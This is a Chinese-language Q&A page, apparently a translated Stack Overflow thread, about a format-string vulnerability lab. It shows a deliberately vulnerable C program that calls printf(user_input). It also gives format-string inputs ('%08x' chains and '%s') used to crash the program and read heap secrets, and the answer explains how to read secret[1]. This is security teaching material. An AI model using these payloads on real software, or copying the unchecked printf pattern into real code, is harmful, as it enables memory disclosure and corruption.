Max*_*Max 9 c security string exploit format-string
我正在开发一个格式字符串漏洞实验室,我们给出了以下代码:
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1;
secret[1] = SECRET2;
printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我们根本不应该修改代码.仅使用输入,我们有4个目标:崩溃程序,秘密打印值[1],修改秘密值[1],并将secret [1]的值修改为预定值.
我得到的示例输出是:
The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025
Run Code Online (Sandbox Code Playgroud)
因此,通过输入8"%08x",我打印了秘密地址+4,然后我打印了整个a,b,c和d的地址 - 但是由于我从未给过它们一个值,所以它们没有指向任何地方,只显示0.接下来是我输入的小数,选择这样可以清楚地看到'ffff'.接下来是secret [0]的地址,然后我进入程序中存储的其他值.
如果我输入AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.,则.0804a008将是.41414141,因为字符串输入中的A将存储在那里.
崩溃程序非常容易:字符串输入上的%s足以导致段错误.现在我需要秘密读取值[1],但我完全迷失了.我试图把地址放在堆栈上,把它放在字符串的开头就像这样:\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s但是地址没有被推到任何地方我只是打印secret [0](对于好奇的,这是'd').我已经尝试了各种各样的地址,但过了一段时间后,我意识到我只是将它们全部存储为字符串,这些字母在A之前出现过.他们没有被转换为十六进制或任何东西.
我在SA和其他地方看过很多关于这段代码的讨论,但我还没有看到有人谈论你如何秘密获取这些价值[1].
任何帮助将不胜感激.
要访问 Secret[1],您必须输入它的地址作为整数输入。
Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
2256 次 |
| 最近记录: |